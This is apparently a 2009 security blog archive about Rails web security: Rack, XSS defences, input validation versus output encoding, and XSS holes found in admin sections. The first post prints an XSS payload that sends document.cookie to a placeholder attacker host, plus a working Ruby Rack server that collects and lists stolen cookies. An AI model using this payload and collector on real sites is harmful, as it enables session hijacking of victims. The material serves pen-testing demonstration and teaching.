March 2009 Archives

One of the many things I got introduced to at Scotland on Rails was the Rack project. Designed to help create flexible web application deployments, it creates an interface between webservers and ruby web app. frameworks (rails, sinatra etc).

Reading some of the examples, it occurred to me that Rack could be pretty handy for web application testing where sometimes it's useful to have a minimal web application to bounce things off.

One example of this is demo'ing XSS attacks. A standard XSS attack is cookie stealing. The way this works is the attacker inserts a script tag with a reference to a URL controlled by the attacker and inserts the cookie for the victim site into a parameter to the URL.

So for example if we've found an XSS vector we can put

<script>document.location="http://<attacker_ip/cookiegrabber?cookie="+document.cookie</script>

Here's where rack comes in. You can use rack to very quickly create some code to listen on a port and accept the incoming request (and indeed to anything else you can do with ruby, but hey lets start small).

A proof of concept script to do something like this might look like the one below...

#!/usr/bin/env ruby
require 'rubygems'
require 'rack'
builder = Rack::Builder.new do
  use Rack::CommonLogger
  @@grabbed = Array.new
  map '/' do
    run Proc.new {|env| [200, {"Content-Type" => "text/html"}, "<h1> Rack Pen Test Helper</h1>"]}
  end
  
  map '/cookiegrabber' do
    app = proc do |env|
      req = Rack::Request.new(env) 
      ip = req.ip.to_s
      cookie = req.params['cookie'] || "No Cookie Parameter passed"
      @@grabbed << [ip,cookie]
      [200, {"Content-Type" => "text/html"}, "grabbed " + cookie + " from " + ip + "<br /> Grabbed " + @@grabbed.length.to_s + " cookies so far"]
    end
    run app
  end
  
  map '/cookiegrabbed' do
    app = proc do |env|
      out = ""
      if @@grabbed.length > 0
        @@grabbed.each do |crumb|
          out << "Grabbed a cookie with value  " + crumb[1] + " from " + crumb[0] + "<br />"
        end
      else
        out = "Nothing Grabbed so far"
      end
      [200, {"Content-Type" => "text/html"}, out]
    end
    run app
  end
end
Rack::Handler::Mongrel.run builder, :Port => 9292

It was the Scotland on Rails 2009 conference on Friday/Saturday of last week. A great couple of days with loads of interesting Ruby and Rails talks (I'm planning more of a recap once the videos are out)

I presented on Web Application Security (slides here), which seemed to go down reasonably well.

One of the main themes of my presentation was that, whilst Rails provides a variety of mechanisms to help developers to create secure applications, it still leaves a lot to the individual to think about, and relies on implementation of the protection that it provides.

One major example of this it Rails default protection mechanism from XSS which is the h() function. This HTML encodes the contents of the argument passed to it. This is an effective defense against XSS but relies on developers to use it consistently, which can be tricky to remember.

There's a couple of potential ways for improving this situation with plugins.

The Safe ERB plugin is designed to help developers by raising an exception when information pulled from an ActiveRecord model is displayed in a view without h() being used.

The other way to approach the problem of XSS is to validate input when it's passed to the application. There are a number of Rails plugins which take this approach including Sanitize Params and XSS Terminate

I had an interesting conversation/debate over on reddit today on the topic of input handling and I thought it was worth posting up.

Essentially there are two approaches handling data in an web applications.

1. Carry out input validation as the data enters your application. This can either be white-list (only allow "known good" data types), or black-list (try to block "known-bad" data types)
2. Carry out output normalization on the data as it leaves your application. Here you look to understand the special or "meta" characters for the type of system or data format that you are outputting to and ensure that the data is encoded or rendered in such a way that it can't have a negative effect on that output system.

So which of these approaches is better? Well my view on that after my discussion is that they both have pros and cons, which need to be considered before making a choice.

Input Validation

Pros: The advantage of white list input validation is that, in a lot of cases, you can relatively easily cut down the number of attacks that will be effective against an application with minimal effort. For example if you're not taking in mark-up (eg, HTML) in any part of your application then stripping or blocking the < and > characters from your input will drastically reduce your exposure to Cross Site Scripting. This is the approach that .NET request validation takes.

Cons:The problem with input validation is, it can never take account of all possibilities. It's impossible to know when you take input into the application, how that data will be used and exactly where it will be processed in future, so there's always a risk that it will miss some class of character which turns out to be important to a given format

Output Normalization

Pros: So essentially the opposite applies. The advantage of output normalization is that it can take into consideration the exact nature of the system that the data is being passed to and can ensure that the data it's passing will not have a negative effect. This kind of approach can be seen in HTML encoding function like h() in Ruby on Rails.

Cons: Essentially for me the major downside here is a practical one. A security control that needs to be implemented many times to be effective is one that is likely to be forgotten and because under ordinary conditions the application is likely to behave perfectly even though the control isn't in place, a developer may well not notice the problem until it's too late. You can see this kind of effect in a lot of web applications. I've seen many cases where the obvious areas of the application (form fields) have been covered for things like Cross Site Scripting, but more obscure areas (drop-downs, cookies, HTTP headers) get missed out, either because the developer forgets, or because they don't realise that those areas of the application are susceptible to attack

So which of these approaches would I recommend..... Well I'm a security person, so I'll say Both for defence in depth!

Beyond that I'd say that Input validation is a great first step and will cut down the practical attacks greatly, but if you're looking for a "perfect" approach then you'll need to add output normalization to the mix...

I'm doing some research at the moment for a presentation I'm doing for the Scotland on Rails conference, later this month. As part of that I've been downloading some sample Rails applications to get an idea of common security issues that I can discuss.

Interestingly on popular applications that I've downloaded so far, I'm 2 for 2 on the exact same problem.

Both of them have XSS vulnerabilities from the user-->admin sides of the site. So the end-user pages have output encoding to restrict XSS but the admin sections don't consistently provide the same protection.

It's also interesting that both applications seem to be relying on output encoding as a defence as opposed to input validation. In my experience the best defence is a combination of the two...

Of course that leads to some potentially nasty exploits around stealing admin credentials from the site in question. Hey looks like I'll have some stuff to talk about anyway :)